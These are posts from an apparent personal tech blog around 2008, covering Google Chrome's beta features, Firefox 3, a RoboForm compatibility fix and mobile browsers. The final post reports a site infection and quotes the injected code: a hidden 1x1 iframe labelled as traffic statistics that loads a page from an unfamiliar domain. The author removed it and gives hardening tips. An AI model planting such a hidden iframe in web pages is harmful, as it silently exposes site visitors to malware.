Google has released Google Chrome beta, a new open-source browser, as suspected and is announced at Google Blog. Why it takes Google so long to develop one? What’s next? What about an alternative operating system to Windows?

Why did Google build Google Chrome? Continue reading and watch the video at the end of this post.

Google Chrome features a simple and intuitive user interface and an entirely new architecture designed for speed, security, and stability.

Why did Google build Google Chrome?

Here are the features of Google Chrome:
1. Fast Loading
Google Chrome load faster compared to Firefox and Internet Explorer.

2. Less Memory
Google Chrome used less memory compared to Firefox and Internet Explorer.

3. One box for everything
Google Chrome allows you to enter search or web site url on the address bar. It also give you some suggestions as you enter a search.

4. Application Shortcuts
Google Chrome allows you to create shortcuts on the desktop, which can be launched to open the particular online applications. Applications like swf file like flash games can be saved as shortcuts and launched into full screen mode without launching Google Chrome.

4. Dynamic Tabs
Tabs in Google chrome are more dynamic than tabs in Firefox and Internet Explorer. It can be drag out to form another Google Chrome and drag in to become a tab. This is useful when you want to view more than 2 tabs at one time. Each tab is also independently in Google Chrome. If one tab crash, it will not crash Google Chrome. Simply close the crashed tab.

5. Incognito mode
Google Chrome has a incognito window mode used for private browsing, which mean nothing in this incognito window will be saved in the web history.

6. Safe Browsing
Google Chrome will warn you of suspected phishing malware or unsafe website.

7. Instant Bookmarks
Google Chrome allows you to save bookmark with just 1 click. Simply click on the star icon at the left edge of the address bar.

8. Import Bookmarks and Settings
Google Chrome allows you to import bookmarks and settings from Firefox and Internet Explorer.

9. Simpler Downloads
Google Chrome allows you to monitor your download’s status at the bottom of the window. After download, you can simply drag the download file icon to the desktop and install the file. No more third party download manger.

10. Friendly Source Code
Google Chrome allows you to see the particular web site source code. You can click on the link on the source code and the result will be shown on a new tab.

What are you waiting for? Google Chrome can be download here.

Here’s why Google build Google Chrome:

Popularity: 3% [?]

Firefox 3 has more than 15,000 improvements which make it faster, safer and smarter than before.

Download Firefox during Download Day and enjoy increased security, blinding speed and cool new features that will change the way you use the Web.

* New Features

Firefox 3 sets the innovation bar very high with exciting new features, including one-click bookmarking, the smart location bar and lightning fast performance.

* Security

Keeping you and your personal information safe is our top priority. Firefox 3 includes phishing and malware protection, plus our new instant site ID info.

* Productivity

With features like built-in spell checking, session restore and full zoom, Firefox 3 makes it possible to work faster and more efficiently on the Web.

* Customization

Your taste and needs set you apart from the rest. With Firefox 3 you can choose from over 5,000 add-ons that help you customize your browsing experience.

Popularity: 4% [?]

Yes, finally I got it to work.

For some reason, my upgrade from Firefox 2.xx to FireFox 3 RC1 was seen unsuccessful to Roboform as it keeps telling me the following message:

This Adapter (6-9-89) supports only Firefox ver. 1.5 to 3.0.*.
You are using Firefox ver. 2.0.0.3. This browser is not supported.
Please upgrade RoboForm Adapter to the latest version or downgrade your browser.
Reason: Cannot register component.

When you checked on Firefox Help/About Mozilla Firefox, make you the fine print reads

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9) Gecko/2008051206 Firefox/3.0

and not

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9) Gecko/2008051206 Firefox/2.00xx

as roboform will not see it as Firefox 3 RC1.

If after you installed Firefox 3 RC1 and it still appear as 2.00xx, then in order for Roboform to work, you have to uninstall Firefox and install a fresh new Firefox 3 RC1.

Before you uninstall Firefox, you might want to export Bookmark, take note of the Add-ons if necessary though most will be work for Firefox 3.

After reinstall Firefox 3 RC1, reinstall Roboform and it should work.

Popularity: 6% [?]

Mozilla has released a brand new pre-release version of the upcoming Firefox 3 browser.

Firefox 3 Release Candidate 1 is now available for download in more than 45 languages as a public preview release intended for developer testing and community feedback. It includes new features as well as dramatic improvements to performance, memory usage and speed.

Firefox 3 RC1 Release note is available here.

FireFox 3 RC1 Downloads are available here.

P/S: If you are using Roboform, you will not be able to use Roboform till they released Firefox 3 RC1 adapter.

Popularity: 3% [?]

Opera Mobile is regarded, by many mobile users, as the best mobile browser available on the current market. It may has its strong point but it’s not free. It cost USD$24.00 Useless you have too much money to spend, read on.

Opera Mini is free but it works on GPRS (General Packet Radio Service) which cost you money when transferring data over airtime. If you connect to internet through WiFi, you can forget about Opera Mini (correct me if I am not as I cannot get it to work on WiFi.)

Internet Explorer Mobile, by Microsoft Windows, is the default browser that comes with Windows Mobile Pocket PC and Smartphone. If the classic browser loading speed is slow, do not expect the mobile browser to be fast.

Mobile FireFox, codenamed Fennec, is expected to released in the later part of the year. 2 versions under developement, Touchscreen and non-touchscreen. Mozilla, FireFox creator, actually has a Minimo project but seems to stop developing it.

SkyFire is more for US users, so I have no chance to test it. If you are a US mobile users, sign up for the private beta invitation, try it and share with us what you think.

jB5 Mobile Browser is free and actually quite fast. Try it and share with us what you think. I will do another Mobile Test Post using jB5 Mobile Browser.

NetFront™ Browser v3.5 for Windows Mobile Concept Version is new and available for trial till 31st May 2008. After that, you might have to download again. I have no idea if it will be free when they actually released it later. Surprisingly, it’s a touchscreen mobile browser. The Bookmark is cool too.

Iris Browser, by Torch Mobile, is based on the WebKit rendering engine, the same KHTML-derived rendering engine in Safari used in iPhone. It’s free and you can update the browser from your mobile set. The touchscreen scrolling does not work as smooth as NetFront.

Deepfish, under development by Microsoft, is a lightweight client application that leverages a powerful server side technology for delivery of content such as web pages to a Windows Mobile device. Content is displayed in a familiar desktop format that requires no additional work by the content or site author.

My choice is Opera Mobile if it is free after the 30 days trial. Till Mobile FireFox and Microsoft deepfish are available, NetFront is good but you might have to download again after 31st May. jB5 and Iris are not bad but Minimo is out. If all fails, Internet Explorer Mobile by Microsoft Windows is always there.:)

So, which is your preferred mobile browser and why is it so?

Popularity: 6% [?]

Today I Google Search for Richard Palace and to my surprise, I found my site, RichardPalace.com, has been identified to contain malicious software. Immediately, I checked with No Script Add-ons for FireFox and discover a domain which is rather unfamiliar. The domain is wp-stats-php.info and I thought the site was related to WordPress correcting some Stats, but it was not. I then checked my site source code for the domain name wp-stats-php and found the following code:

<!– Traffic Statistics –> <iframe src=”http://www.wp-stats-php.info/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe> <!– End Traffic Statistics –>

This code was inserted on my blog post on 11th Nov 2007 by someone or software. I immediately removed it and asked Google to review my site so as to remove “This site may harm your computer” tag. I am not sure how this iframe code got into my blog. If it happens to me, it can also happen to you.

If you are using wordpress, I suggest you do the following:
1) Upgrade wordpress to the latest version.
2) Change your theme.
3) Check your site source code regularly for “iframe”.

Popularity: 6% [?]